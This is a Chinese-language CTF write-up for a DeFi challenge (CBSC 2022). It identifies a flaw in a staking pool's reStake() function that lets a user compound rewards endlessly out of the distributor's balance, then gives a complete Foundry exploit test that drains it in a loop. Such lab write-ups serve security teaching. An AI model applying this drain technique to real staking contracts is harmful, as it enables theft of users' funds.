10.challenge_pro
2023-07-29 13:53:33 # 16.CBSC 2022

10.challenge_pro

分析

1.全局观

代码量庞大!但还是按流程进行分析:

  • WHT.sol
    • ERC20功能的代币
  • router.sol
    • interface和library:定义了一大堆接口和引入一大堆库
    • Ownable:常规
    • MdexRouter:uniswap常规方法,比如添加流动性,移除流动性,交换,计算价格,permit机制
  • factory.sol
    • interface和library:定义了一大堆接口和引入一大堆库
    • MdexERC20:交易所合约,包含转账和permit
    • MdexPair:币对合约,包含:锁机制,初始化方法,K值的两个reserve,手续费,ERC20系列方法,交换,价格计算
    • MdexFactory:创建币对,手续费,,计算(价格,CREATE2地址),获取reserve信息
  • deploy.sol
    • Ownable:常规
    • USDT:就只是一个普通的ERC20代币合约
    • deploy:初始化工作,包括Factory、Router、ERC20的设置,创建币对,创建交易池,空投
    • QuintConventionalPool:质押token获取LP然后获取利润

这个题目还给了我们一个部署的文件:

1
2
3
4
5
1.部署factory合约,调用getInitCodeHash函数获取hash在setInitCodeHash中进行初始化
2.部署router合约,填入factory地址和WHT地址(WHT地址可以为任意不产生影响)
3.部署deploy合约,填入factory和router合约地址,之后调用step1和step2函数进行初始化
4.调用airdrop函数领取初始代币
5.当quintConventionalPool合约的Finished函数返回true时通过

deploy合约中,将自己和USDT创建为一个币对,币对初始流动性1:1。然后创建池子,deploy合约授权给池子极大的金额,也就是说池子可以操作deploy的所有余额。

2.任务

通过阅读可知,token、distributor和deploy合约都是同一个东西。token代币合约一开始自己拥有2000000000000000000000000,我们需要将它至少减少到50000000000000000000000。

1
2
3
4
5
6
7
function captureFlag() public returns (bool) {
if(token.balanceOf(distributor)<=50000000000000000000000){
emit flag("succese",msg.sender);
}

return true;
}

3.分析

一般这种质押的题目,往往是在质押、转账逻辑方面出题,我们可以先关注有关于这两个的方法,看看有没有非常规或者魔改的方法。通过寻找池子合约中的函数,我们发现了一个非常规的质押函数:restake()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function reStake(uint256 _index) public {
require(_index < 2, "Invalid index");
uint256 preReward;
if (_index == 0) {
preReward = calculateTokenReward(msg.sender);
if (preReward > 0) {
token.transferFrom(distributor, address(this), preReward);
stakeToken(msg.sender, preReward);
}
} else {
preReward = calculateLpReward(msg.sender);
if (preReward > 0) {
token.transferFrom(distributor, address(this), preReward);
stakeToken(msg.sender, preReward);
}
}

emit RESTAKE(msg.sender, preReward);
}

顾名思义,就是质押过后,你还可以再次质押。但是阅读完方法之后,这个再次质押居然不需要扣除我们的金额,任何金额都不需要扣我们的,因为他是获取我们质押金额所获得的利润,然后将利润再次质押,同时token合约也会将自己的代币存入进去。

这种利滚利的质押逻辑不对,我们啥都不会扣除,用利润来滚利润,然后token合约也不断的存钱,直到token合约不够钱存。应该加一些限制,再次质押不应该是用利润来质押,而应该也要用自己新的钱来质押才对。

还有一种方法可以找到这个地方:ctrl+f寻找distributor变量余额减少的地方(其实也没几处),因为题目就算要求我们让distributor余额减少。

解题思路:我们通过空投可以获得一笔token和LP,无论是使用_index=0来质押代币还是_index=1都是可以的,因为reStake()可以无限次调用。虽然reStake()可以不停的调用,但也要注意calculateTokenReward()计算利润的方式,选择在一个合适的时间,否则利润非常小不停reStake()会有gas问题,程序跑到死机:)

做法:获取空投=>质押LP=>等4小时=>不停的restake

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "./interface.sol";

contract attackTest is Test {
string constant MdexFactory_Artifact = 'out/factory.sol/MdexFactory.json';
string constant WHT_Artifact = 'out/WHT.sol/WHT.json';
string constant MdexRouter_Artifact = 'out/router.sol/MdexRouter.json';
string constant deploy_Artifact = 'out/deploy.sol/deploy.json';

IMdexFactory public mdexFactory;
IWHT public wht;
IMdexRouter public router;
IDeploy public deploy;
IMdexPair public pair;
IQuintConventionalPool public pool;

address public attacker = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;

event flag(string result,address challenger);

function setUp() public{
// 1.部署factory合约,调用getInitCodeHash函数获取hash在setInitCodeHash中进行初始化
mdexFactory = IMdexFactory(deployHelper_mdexFactory(MdexFactory_Artifact));
mdexFactory.setInitCodeHash(mdexFactory.getInitCodeHash());
console.log("1.factory contract initializes successfully!");
// 2.部署router合约,填入factory地址和WHT地址(WHT地址可以为任意不产生影响)
wht = IWHT(deployHelper_wht(WHT_Artifact));
router = IMdexRouter(deployHelper_mdexRouter(MdexRouter_Artifact,address(mdexFactory),address(wht)));
console.log("2.router contract:", address(router));
// 3.部署deploy合约,填入factory和router合约地址,之后调用step1和step2函数进行初始化
deploy = IDeploy(deployHelper_deploy(deploy_Artifact,address(mdexFactory),address(router)));
console.log("3.deploy contract:", address(deploy));
deploy.Step1();
deploy.step2();
// 4.调用airdrop函数领取初始代币
vm.startPrank(attacker);
deploy.airdrop();
vm.stopPrank();
console.log("4.attacker gets airdrop:", deploy.balanceOf(attacker));
console.log("complete initialization, please start your attack.");
console.log();

// 其他初始化工作
pair = IMdexPair(deploy.pair());
pool = IQuintConventionalPool(deploy.quintADDRESS());
}

function test_isComplete() public{
vm.startPrank(attacker);

console.log("prepare for attack");
console.log();
pair.approve(address(pool), type(uint256).max);
deploy.approve(address(pool), type(uint256).max);
// stake增加质押LP的数量
pool.stake(99999999999999999999000, 1);
// 等一段时间,这样我们可以得到一些利润, 因为5小时之内的利率比较高,领取到的利润也就高,
// 因此选择在4小时,累计一段时间,然后利率又高,因此可以得到的钱也更多
uint256 newtime = block.timestamp + 3600 * 4;
vm.warp(newtime);
console.log("4 hours later");
console.log();

// 利用restake的漏洞
for (uint256 i = 0;; i++) {
// 直到 distributor 不够钱了,就无法转出去,然后报错,我们捕获然后停止
console.log("[for loop] deploy's balance:",deploy.balanceOf(address(deploy)));
try pool.reStake(1) {
} catch (bytes memory err) {
break;
}
}
console.log();

vm.expectEmit(true, true, true, true);
emit flag("succese", attacker);
pool.captureFlag();

console.log("deploy's balance:",deploy.balanceOf(address(deploy)));
console.log("captureFlag!");

vm.stopPrank();
}

// 因为foundry在一个测试文件中存在编译器版本问题,所以采取这种方式进行部署合约
function deployHelper_mdexFactory(string memory what) public returns (address addr) {
bytes memory bytecode = vm.getCode(what);
// 构造器有参数
bytes memory bytecode_withConstructor = abi.encodePacked(bytecode,abi.encode(address(this)));
assembly {
addr := create(0, add(bytecode_withConstructor, 0x20), mload(bytecode_withConstructor))
}
}
function deployHelper_wht(string memory what) public returns (address addr) {
bytes memory bytecode = vm.getCode(what);
assembly {
addr := create(0, add(bytecode, 0x20), mload(bytecode))
}
}
function deployHelper_mdexRouter(string memory what,address _addr1, address _addr2) public returns (address addr) {
bytes memory bytecode = vm.getCode(what);
// 构造器有参数
bytes memory bytecode_withConstructor = abi.encodePacked(bytecode,abi.encode(_addr1,_addr2));
assembly {
addr := create(0, add(bytecode_withConstructor, 0x20), mload(bytecode_withConstructor))
}
}
function deployHelper_deploy(string memory what,address _addr1, address _addr2) public returns (address addr) {
bytes memory bytecode = vm.getCode(what);
// 构造器有参数
bytes memory bytecode_withConstructor = abi.encodePacked(bytecode,abi.encode(_addr1,_addr2));
assembly {
addr := create(0, add(bytecode_withConstructor, 0x20), mload(bytecode_withConstructor))
}
}
}